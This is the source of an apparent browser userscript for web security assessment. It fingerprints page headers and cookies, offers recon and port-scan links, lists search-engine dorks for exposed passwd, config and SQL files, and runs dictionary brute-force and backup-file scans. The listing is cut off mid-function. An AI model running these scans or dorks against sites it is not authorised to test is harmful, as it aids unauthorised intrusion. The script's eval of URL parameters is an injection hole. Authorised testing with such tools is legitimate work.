There are 12 previous versions of this script.
the source is over 100KB, syntax highlighting in the browser is too slow
// ==UserScript==
// @name WebPageFingerPrint v0.4
// @namespace yehg.net
// @sourceurl http://userscripts.org/scripts/show/30285
// @description For web2.0 security analysis. To be used with FireBug. Provides http headers, overall view of the current page contents - javascript, cookies, fuzzable links, form information. For security assessment, it provides recon scan, bruteforce scan, and fuzzing form. What it differs from the thick-client full-fledged scanner is that this script is tied to the current url page and will not mess with the whole web site. Use it at your own risk. Feel free to send bugs.
// @change_logs v0.4 fix https bug reported by Robert Carr. Prints inline script to firebug log, replacing alert display in previous versions. v0.3 fixes bugs.[Now] Edittable form fields with submit button. Added Ajax Framework Fingerprinting.Likely to be updated over time. [version 0.2]Integrated with JS-file fingerprinting, fuzzing, bruteforcing [Reasons] Sometimes, clicking each in WebDeveloper Toolbar is tedious.I'd like to read a summerized view of current web page first. Here this script comes in. Edittable form fields with submit button. Added Ajax Framework Fingerprinting.Likely to be updated over time. [version 0.2]Integrated with JS-file fingerprinting, fuzzing, bruteforcing [Reasons] Sometimes, clicking each in WebDeveloper Toolbar is tedious.I'd like to read a summerized view of current web page first. Here this script comes in.
// @warning Use it only for lawful purposes as the script has vulnerability scanning which invokes IDS detection
// @author Aung Khant (http://yehg.net/lab)
// @privacy_policy No data from you is collected, stored or sold to third-parties.
// @license GPL v2
// @credits Great Thanks for bug report, suggestion, encouragement, testing to
// - Robert Carr
// - Mario Heiderich (http://h4k.in),
// - Wordlists taken from WSfuzzer
// - JS Colorizer by Cezary Tomczak, http://code.gosu.pl,
// - Ajax Db List from shreeraj (http://net-square.com)
// @contribute Send suggestions, bugs, fixes, help to suggest @ yehg.net
// @include *
// @exclude about:*
// @exclude data:*
// @exclude file:*
// @exclude unmht:*
// @exclude ftp:*
// @exclude ftps:*
// @exclude view-source:*
// ==/UserScript==
var version = "0.4";
var author = "Aung Khant (http://yehg.net/lab)";
var yehg_url = "http://yehg.net";
var yehg_url_scheme = document.location.toString().substr(0,document.location.toString().indexOf("://")+3);
var yehg_url_port = (document.location.toString().substr(document.location.toString().indexOf(document.domain)+document.domain.length,document.location.toString().indexOf("/")).indexOf(":")>-1)?document.location.toString().substr(document.location.toString().indexOf(document.domain)+document.domain.length,document.location.toString().indexOf("/")):':80';
yehg_url_port = (yehg_url_port==':80' && unsafeWindow.location.protocol == 'https:')?':443':yehg_url_port;
var invalidext = /(js|vbs|jpg|jpeg|gif|png|css|txt|conf|java|phps|c)$/;
var jsext = /(js\?fingerprint)$/;
var invalidprotocol = /^file|ftp|ftps|about|view\-source|data|unmht/;
var printdata = "<span style='float:right;cursor:pointer;' title='YEHG.Net Lab' onclick='window.open(\"http://yehg.net/lab\");return false;'><img src='data:;base64,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'></span><h3 style='color:yellow!important;'><span style='text-align:center'>YEHG.Net Greasemonkey Web Page Fingerprinter</span> <span target='_blank' style='color:yellow!important;text-decoration:none;cursor:pointer;' onclick='hideYehgFingerprint()'>[x]</span></h3><br>";
if((!jsext.test(document.URL)) && (!invalidprotocol.test(yehg_url_scheme)) && (!document.title.search(/(Problem loading page|Page load error)/i)==0) )
{
unsafeWindow.yehgdoFingerpint = function()
{
if( (!jsext.test(document.URL))&&(!invalidext.test(document.URL)) && (!invalidprotocol.test(document.URL)) && (!document.title.search(/(Problem loading page|Page load error)/i)==0) )
{
unsafeWindow.yehgupx = 0;
unsafeWindow.yehgshowFingerprint = function()
{
if(unsafeWindow.document.getElementById("yehgfingerprint"))
{
unsafeWindow.document.getElementById("yehgfingerprint").style.display = '';
unsafeWindow.document.getElementById("yehgfingerprint").style.opacity = "0." + unsafeWindow.yehgupx;
unsafeWindow.yehgupx++;
if(unsafeWindow.yehgupx==9)
{
unsafeWindow.yehgupx=0;clearTimeout(unsafeWindow.yehgsfg);
}
}
}
// if Firebug is installed, log in its console, too for JS Objs and Functions
// otherwise, call alert()
unsafeWindow.yehgWriteFirebugConsoleLog = function(str)
{
if(unsafeWindow.console)
{
unsafeWindow.console.log(str);
}
else
{
alert(str);
}
}
unsafeWindow.yehgWriteFirebugConsoleDir = function(str)
{
if(unsafeWindow.console)
{
unsafeWindow.console.log('"'+str+'"');
unsafeWindow.console.dir(str);
}
}
printdata += "<br><b>[URL]</b><br><br>";
printdata += document.location+"<br>";
// Display Header
// @note GM xml httprequest doesn't provide me all XHR functions; afraid of security, nice!
var headers = "";
var xhr = new XMLHttpRequest();
xhr.open("HEAD",yehg_url_scheme +document.domain.toString()+yehg_url_port,false);
xhr.send(null);
printdata += "<br><b>[Headers]</b><br><br>";
headers= xhr.getAllResponseHeaders();
var full_header = headers;
var feachh = new Array();
var feachstr = "";
for(i=0;full_header.length>i;i++)
{
if(full_header[i]=="\n")
{
feachh.push(feachstr);
feachstr="";
}
else
{
feachstr += full_header[i];
}
}
var shstr = ""; // Header Servers:
var spstr = ""; // Server X-Powered-By:
var othersh = "";
for(var f=0;f<=feachh.length-1;f++)
{
if(feachh[f].indexOf("Server:")!=-1)
{
shstr = feachh[f];
}
else if(feachh[f].indexOf("X-Powered-By")!=-1)
{
spstr = feachh[f];
}
else
{
othersh += feachh[f] + "\n";
}
}
// Header Server:
var plain_header_server = xhr.getResponseHeader("SERVER");
var headerstr = shstr;
var whitespaces=0;
var eachh = new Array();
var eachstr = "";
//alert(full_header);
for(i=0;i<=headerstr.length;i++)
{
if(headerstr[i]==" " || i==(headerstr.length))
{
eachh.push(eachstr);
eachstr="";
whitespaces++;
}
else
{
eachstr += headerstr[i];
}
}
header_server = "";
if(whitespaces>1)
{
for(var e=0;e<=eachh.length-1;e++)
{
var hh = eachh[e] + "";
if(hh.indexOf("Server:")==-1 && hh.indexOf("(")==-1)
{
header_server += "<a style='color:yellow!important;text-decoration:underline;' title='Find its vulnerabilities in Google' target='_blank' href='http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=" + eachh[e] + " vulnerabilities'>" + eachh[e] +"</a> ";
}
headers = "Server: "+header_server+"<br>";
}
}
else
{
headers = shstr + "<br>";
}
// Header: X-Powered-By
headerstr = spstr;
whitespaces=0;
var eachh = new Array();
var eachstr = "";
for(i=0;i<=headerstr.length;i++)
{
if(headerstr[i]==" " || i==headerstr.length )
{
eachh.push(eachstr);
eachstr="";
whitespaces++;
}
else
{
eachstr += headerstr[i];
}
}
header_server = "";
if(whitespaces>1)
{
for(var e=0;e<=eachh.length-1;e++)
{
var hh = eachh[e] + "";
if(hh.indexOf("X-Powered-By:")==-1)
{
header_server += "<a style='color:yellow!important;text-decoration:underline;' title='Find its vulnerabilities in Google' target='_blank' href='http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=" + eachh[e] + " vulnerabilities'>" + eachh[e] +"</a> ";
}
}
headers += "X-Powered-By: "+header_server+"<br>";
}
else
{
headers += spstr + "<br>";
}
// End Server: X-Powered-By
var win = /(win|win32|windows|microsoft)/i;
var iis4 = /(iis\/4)/i;
var iis5 = /(iis\/5)/i;
var iis6 = /(iis\/6)/i;
var iis7 = /(iis\/7)/i;
var lin = /(linux|unix|redhat|red hat|darwin|fedora|ubuntu|openbsd|mandrake|mandriva|debian|novell|slackware|centos|freebsd|suse|solaris|sun|sunone)+/i;
if(win.test(plain_header_server))
{
headers += "OS: " + "Windows";
}
if(iis4.test(plain_header_server))headers += " 2000";
if(iis5.test(plain_header_server))headers += " 2000 SP.x, XP";
if(iis6.test(plain_header_server))headers += " 2003";
if(iis7.test(plain_header_server))headers += " 2007";
if(lin.test(plain_header_server))
{
headers += "OS: " + "Unix/Linux";
}
var OS = plain_header_server.match(/(\()[\d\S]+(\))+/gi);
if (OS){headers += " "+OS[0];}
headers += "<pre style='font-family:arial;font-size:normal'>" + othersh + "</pre>";
printdata += headers;
unsafeWindow.yehgescapeHTML=function(value)
{
value = value.replace(/</g,"<");
value = value.replace(/>/g,">");
value = value.replace(/'/g,"'");
value = value.replace(/"/g,'"');
value = value.replace(/\\/g,"\\\\");
return value;
}
//xhr.open("GET",document.URL,true);
//xhr.send(null);
currentdocument_content = document.body.innerHTML; //xhr.responseText;
currentdocument_content_length = document.body.innerHTML.length; // xhr.responseText.length;
unsafeWindow.yehgcurdoc_contentlength = currentdocument_content_length ;
printdata += "Content-length: <span style=\"font-weight:bold;color:#AAFFAA\">" + currentdocument_content_length + "</span><br>";
unsafeWindow.yehg$_GET = function(param)
{
var url = document.URL;
var value = false;
if(url.indexOf("?")>-1 && url.indexOf("=")>-1)
{
if(url.indexOf("&")!=-1)
{
if(url.indexOf(param)>-1)
{
//value= url.substring(url.indexOf(param)+param.length+1,url.lastIndexOf("&"));
value= url.slice(url.indexOf(param)+param.length+1,url.length);
//alert('initial param: '+ param + '\nvalue:'+value);
if(param!="yehg_grep")
{
value = value.slice(0,value.indexOf("&"));
}
else
{
value = value.slice(0,value.length);
}
//alert('param: '+ param + '\nvalue:'+value);
/*if(value.search(/[0-9]/g)==-1 && value.search(/null/g)==-1)
{
value= url.substr(url.indexOf(param)+param.length+1,url.lastIndexOf("&"));
}*/
}
}
}
return value;
}
if(unsafeWindow.yehg$_GET("yehg_content_length")!=false && unsafeWindow.yehg$_GET("yehg_content_length")!="undefined" && unsafeWindow.yehg$_GET("yehg_content_length")!="null")
{
//alert('content length -> '+ unsafeWindow.yehg$_GET("yehg_content_length"));
var oper = unsafeWindow.yehg$_GET("yehg_operator");
var cl = unsafeWindow.yehg$_GET("yehg_content_length");
if(eval(cl + oper + currentdocument_content_length))
{
unsafeWindow.close();
}
}
if(unsafeWindow.yehg$_GET("yehg_content_grep_criteria")!=false && unsafeWindow.yehg$_GET("yehg_content_grep_criteria")!="undefined" && unsafeWindow.yehg$_GET("yehg_content_grep_criteria")!="null" && unsafeWindow.yehg$_GET("yehg_grep")!=false && unsafeWindow.yehg$_GET("yehg_grep")!="undefined" && unsafeWindow.yehg$_GET("yehg_grep")!="null")
{
var crite = unsafeWindow.yehg$_GET("yehg_content_grep_criteria");
var cont = decodeURIComponent(unsafeWindow.yehg$_GET("yehg_grep"));
var re = new RegExp(cont,"gi");
if(crite == "AND")
{
if(re.exec(currentdocument_content)!=null)
{
unsafeWindow.close();
}
}
else if(crite == "NOT")
{
if(re.exec(currentdocument_content)==null)
{
unsafeWindow.close();
}
}
}
if(document.cookie.length>0)
{
printdata += "Cookie: " + unsafeWindow.yehgescapeHTML(document.cookie) + '<br> => <span style="cursor:pointer;color:yellow!important;" title="Edit cookies" onclick="document.cookie=prompt(\'Edit cookie:\\n\',\'' +unsafeWindow.yehgescapeHTML(document.cookie)+'\');">Edit Cookie</span><br>';
}
for(var i=0;i<=document.getElementsByTagName("meta").length-1;i++)
{
var item = document.getElementsByTagName("meta")[i];
if(item.name.match(/generator/i))
{
if(item.content!="")printdata += "Generated by: <a style='color:yellow!important;text-decoration:underline;' title='Find its vulnerabilities in Google' target='_blank' href='http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=" + item.content + " vulnerabilities'>"+item.content+"</a><br>";
}
if(item.name.match(/robots/i))
{
if(item.content!="")printdata += "Robot: " + item.content + "<br>";
}
if(item.name.match(/description/i))
{
if(item.content!="")printdata += "Description: " + item.content + "<br>";
}
if(item.name.match(/author/i))
{
if(item.content!="")printdata += "Author: <a style='color:yellow!important;text-decoration:underline;' title='Find it in Google' target='_blank' href='http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=" + item.content + "'>"+item.content+"</a><br>";
}
if(item.name.match(/ProgId/i))
{
if(item.content!="")printdata += "<br>ProgId: <a style='color:yellow!important;text-decoration:underline;' title='Find it in Google' target='_blank' href='http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=" + item.content + "'>"+item.content+"</a><br>";
}
}
bodystr = document.body.innerHTML;
if(bodystr.indexOf("Powered by")!=-1)
{
bodystr = bodystr.substring(bodystr.indexOf("Powered by")+10,bodystr.indexOf("Powered by")+100 );
pow="";
for(i=0;bodystr.length>i;i++)
{
if(bodystr[i]=="<")break;
if(i<(bodystr.length-1))
{
pow += bodystr[i];
}
}
printdata += "Powered by: <a style='color:yellow!important;text-decoration:underline;' title='Find it in Google' target='_blank' href='http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=" + pow + "'>"+pow+"</a><br>";
}
bodystr = document.body.innerHTML;
if(bodystr.indexOf("Hosted by")!=-1)
{
bodystr = bodystr.substring(bodystr.indexOf("Hosted by")+10,bodystr.indexOf("Hosted by")+100 );
hos="";
for(i=0;bodystr.length>i;i++)
{
if(bodystr[i]=="<")break;
if(i<(bodystr.length-1))
{
hos+= bodystr[i];
}
}
printdata += "Hosted by: <a style='color:yellow!important;text-decoration:underline;' title='Find it in Google' target='_blank' href='http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=" + hos + "'>"+hos+"</a><br>";
}
// Display Lookups,Whois,MX
unsafeWindow.yehgLaunchAllRecons = function()
{
var c=confirm('Are you sure to launch all RECON links?\n\nIt\'ll launch each link in every 10 seconds till complete.\nOpening multiple windows hang your browser!\nBe sure to allow popups!\n\nHappy passive RECON!\n');
var timeout=0;
if(c)
{
for(var x=0;x<=document.getElementById('yehg_RECON_select').length-1;x++)
{
if(document.getElementById('yehg_RECON_select')[x].value!='')
{
setTimeout("window.open(document.getElementById('yehg_RECON_select')[" + x +"].value+document.domain)",timeout); timeout += 7000;
}
}
}
}
unsafeWindow.yehgPrependProxy = function()
{
var proxy_url=prompt('Enter cgi/php proxy url to prepend RECON links.\n\nSome sites suck our IP addresses for repeated uses.\n\nCheck out cgiproxy.us.\nType cgiproxy for going to that URL.','https://');if(proxy_url!=null && proxy_url!='' && proxy_url!='https://'){if(proxy_url='cgiproxy'){window.open('http://cgiproxy.us');}else{for(var x=0;x<=document.getElementById('yehg_RECON_select').length-1;x++){if(document.getElementById('yehg_RECON_select')[x].value!=''){document.getElementById('yehg_RECON_select')[x].value=proxy_url+document.getElementById('yehg_RECON_select')[x].value;}}alert('From now on, the query will be like:\n'+proxy_url+'http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:log');}}
}
printdata += "<br><b>[WebPage FingerPrinter Options]</b><br><br>";
printdata += 'Time between each request : <input type="text" value="3000" id="yehgBruteTimeOut"/><br>';
printdata += "<br><b>[RECON]</b><br><br>";
printdata += '<select id="yehg_RECON_select" onchange="if(this.selectedIndex!=0){if(this.value== \'http://www.robtex.com/dns/\'){window.open(this.value+document.domain+\'.html\');}else{window.open(this.value+document.domain);}}"><option value="">---Lookup---</option><optgroup label="Whois"><option value="http://whois.webhosting.info/">Webhostinfo</option><option value="http://private.dnsstuff.com/tools/dnsreport.ch?domain=">DNSStuff</option><option value="http://www.robtex.com/dns/">RobtexDNS</option><option value="http://network-tools.com/default.asp?prog=dnsrec&host=">Network DNSRecords</option><option value="http://whois.domaintools.com/">DomainTools</option><option value="http://samspade.org/whois/">SamSpade</option><option value="http://www.hcidata.info/host2ip.cgi?findIP=+Find+IP+Address+&domainname=">Host2IP</option><option value="http://uptime.netcraft.com/up/graph/?host=">Netcraft WhatSite</option><option value="http://toolbar.netcraft.com/site_report?url=">Netcraft SiteReport</option><option value="http://network-tools.com/default.asp?prog=trace&host=" title="Note: Scroll down the page for viewing results of Network Trace after page loading">Network Tracert</option><option value="http://network-tools.com/default.asp?prog=network&host=">Network Lookup</option><option value="http://network-tools.com/default.asp?prog=whois&host=">Network Whois</option><option value="http://www.betterwhois.com/bwhois.cgi?domain=">Betterwhois</option><option value="http://network-tools.com/default.asp?prog=express&host=">Network Express</option><option value="http://google-analytics.freehostia.com/lab//portscan.php?host=">PortScan1</option><option value="http://google-analytics.freehostia.com/lab/port_scanner.php?host=">PortScan2</option><option value="http://www.flashwebservices.co.uk/apps/flashport/">FlashPortScan</option></optgroup><optgroup label="Mail MX"><option value="http://www.trimmail.com/news/tools/mailserverprofiler?lookup_type=mxanalyzer&dig_type=none&lookup_target=">MX Profile</option><option value="http://www.hashemian.com/tools/domain-email.php?b=">MX Lookup</option><option value="http://www.emailstuff.org/dns/mx/">MX Records</option></optgroup><optgroup label="GoogleHacking"><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=intitle:%22Index%20of%22%20 site:">dirIndexing</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=cache:">cache:</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=link:">link:</option><option value="http://www.google.com/search?hl=en&?q=site:">site:</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=@">email</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:pdf site:">file:pdf</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:xls site:">file:xls</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:xml site:">file:xml</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:doc site:">file:doc</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:ppt site:">file:ppt</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:txt site:">file:txt</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:rtf site:">file:rtf</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:conf site:">file:conf</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:config site:">file:config</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:ini site:">file:ini</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:lst site:">file:lst</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:zip site:">file:zip</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:gzip site:">file:gzip</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:eml site:">file:eml</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:ps site:">file:ps</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:exe site:">file:exe</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:rpm site:">file:rpm</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:db site:">file:db</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:mdb site:">file:mdb</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:log site:">file:log</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:passwd site:">file:passwd</option><option value="http://www.scroogle.org/cgi-bin/nbbw.cgi?Gw=filetype:pwd site:">file:pwd</option></optgroup></select> ';
printdata += '[<span style="cursor:pointer;color:yellow!important;text-decoration:underline;" onclick="yehgLaunchAllRecons();">Launch all</span>] [<span style="cursor:pointer;color:yellow!important;text-decoration:underline;" onclick="yehgPrependProxy()">Prepend Proxy</span>]<br><br>';
printdata += "<br><b>[BruteForce Scan]</b><br><br>";
printdata += '<select id="yehg_brute_force_select"><option selected="selected">-- Select ---</option><optgroup label="Dictionary"><option value="dic1.txt">Dic-Small</option><option value="big2.txt">Dic-Comprehensive</option><option value="big.txt">Big</option><option value="catala.txt">Catala</option><option value="common.txt">Common</option><option value="euskera.txt">Euskera</option><option value="medium.txt">Medium</option><option value="passlist.txt">Passlist</option><option value="spanish.txt">Spanish</option><option value="subdomains.txt">Subdomains</option><option value="userlist.txt">Userlist</option><option value="weak_passwords_module_passlist.txt">Weak_passwords_module_passlist</option><option value="weak_passwords_module_userlist.txt">Weak_passwords_module_userlist</option><option value="common_pass.txt">Common_pass</option><option value="names.txt">Names</option><option value="upload_dirs.txt">Common Upload Dirs</option></optgroup><optgroup label="Vulnerability"><option value="vulns/apache.txt">Apache</option><option value="vulns/cgi.txt">Cgi</option><option value="vulns/cgis.txt">Cgis</option><option value="vulns/coldfusion.txt">Coldfusion</option><option value="vulns/domino.txt">Domino</option><option value="vulns/fatwire.txt">Fatwire</option><option value="vulns/fatwire_pagenames.txt">Fatwire_pagenames</option><option value="vulns/frontpage.txt">Frontpage</option><option value="vulns/iis.txt">Iis</option><option value="vulns/iplanet.txt">Iplanet</option><option value="vulns/jrun.txt">Jrun</option><option value="vulns/netware.txt">Netware</option><option value="vulns/oracle9i.txt">Oracle9i</option><option value="vulns/sharepoint.txt">Sharepoint</option><option value="vulns/sunas.txt">Sunas</option><option value="vulns/tests.txt">Tests</option><option value="vulns/tomcat.txt">Tomcat</option><option value="vulns/vignette.txt">Vignette</option><option value="vulns/weblogic.txt">Weblogic</option><option value="vulns/websphere.txt">Websphere</option></optgroup><optgroup label="OSVDB"><option value="vulns/osvdb-iis.csv">o-iis</option><option value="vulns/osvdb-cfm.csv">o-cfm</option><option value="vulns/osvdb-jsp.csv">o-jsp</option></optgroup></select>';
printdata += " [<span style='color: yellow ! important;cursor:pointer;' title='Choose file and start scanning!' onclick='yehgLoadBruteForceStart();return false;'>Start</span>] [<span style='color: yellow ! important;cursor:pointer;' title='Choose file and start scanning!' onclick='yehgViewBruteForceFile();'>View</span>]<br/>";
printdata += '<div id="brute_force_loading_img" style="display:none"><br>Loading ...<br><br>Do other stuffs. <br> Seem slowly? As it doesn\'t do multi-requests, <br>it\'s likely that web server IDS may not detect scanning.<br>But it\'s for dictionary scanning only. <br></div><div id="brute_force_result"></div>';
unsafeWindow.yehgbruteforcestr = new Array();
unsafeWindow.yehgbruteforcecurrent_file = "";
unsafeWindow.yehgIsDuplicate = function(v,ar)
{
var duplicate = false;
for(var i=0;i <= ar.length-1;i++)
{
if (ar[i] == v){duplicate = true;}
}
return duplicate;
}
unsafeWindow.yehgcurrentjob = "";
unsafeWindow.yehgBackupFiles = new Array();
unsafeWindow.yehgBackupFileSearch = function()
{
// Common Backup Styles:
// 1) index.bak
// 2) index.php.bak
// 3) index.php-bak
// 4) index.php_bak
unsafeWindow.scrollTo(0,500);
var l = document.getElementsByTagName("a");
var lnks = new Array();
var bklinks = new Array();
var backupexts = ["_","__","001","002","1","2","back","backup","bk","bak","bakup","bas","bz2","c","conf","copia","core","cpp","dat","db","default","dll","doc","inc","ini","java","old","orig","pas","sav","saved","sql","source","src","temp","test"];
var backupzexts = ["~",".old",".7z",".Z",".jar",".rar",".stackdump",".tar",".tar.gz",".tmp",".tgz",".war",".zip",".txt",".1",".2",".3",".dev",".copy",".orig"];
var thisURI = yehg_url_scheme+document.domain+"/";
// [Current File Scan]
// Check the file has been scanned
if(unsafeWindow.yehgIsDuplicate(thisURI,unsafeWindow.yehgBackupFiles)==true){alert("This URL is being scanning or has been scanned.");return;}
unsafeWindow.yehgBackupFiles.push(thisURI);
unsafeWindow.yehgcurrentjob = "Backupfile Scaning: " + thisURI;
var cur_file_url = document.getElementById('fuzz_url').value;//document.URL.toString();
cur_file_url = cur_file_url.replace(/(\?\=)/g,"");
var cur_file_uricomponent = cur_file_url.replace(thisURI,"");
var cur_file_to_fuzz = thisURI + cur_file_uricomponent.substr(0,cur_file_uricomponent.indexOf("."));
unsafeWindow.yehgbruteforcecurrent_file = cur_file_to_fuzz;
if(cur_file_url.lastIndexOf("?")!=-1)
{
cur_file_ext = cur_file_uricomponent.substring(cur_file_uricomponent.indexOf("."),cur_file_uricomponent.indexOf("?"));
}
else
{
cur_file_ext = cur_file_uricomponent.substring(cur_file_uricomponent.indexOf("."),cur_file_uricomponent.length);
}
cur_filenameonly = cur_file_uricomponent.substr(0,cur_file_uricomponent.indexOf("."));
cur_filedir = cur_file_to_fuzz.substr(0,cur_file_to_fuzz.lastIndexOf("/")+1);
unsafeWindow.console.log("cur_file_to_fuzz: "+cur_file_to_fuzz);
unsafeWindow.console.log("cur_file_ext: "+cur_file_ext);
unsafeWindow.console.log("cur_filenameonly "+cur_filenameonly);
unsafeWindow.console.log("cur_filedir "+cur_filedir);
//var cur_file2_to_fuzz = cur_file_to_fuzz
if(document.getElementById('brute_force_result').innerHTML.toString().indexOf("Results:")==-1)
{
document.getElementById('brute_force_result').innerHTML += "<br><strong>BruteForce Results:</strong><br>"; }
document.getElementById('brute_force_loading_img').innerHTML += '<br>=>1) Pattern to match: ' + cur_file_to_fuzz+ '<br>';
document.getElementById('brute_force_loading_img').innerHTML += '=>2) Pattern to match: ' + cur_file_to_fuzz+cur_file_ext + '<br>';
var timeout=0;
var start = 0;
var s=0;
var end = backupexts.length;
//@style: admin.bak
while(s<end)
{
var url = cur_file_to_fuzz + "." + backupexts[s];
timeout+=500;
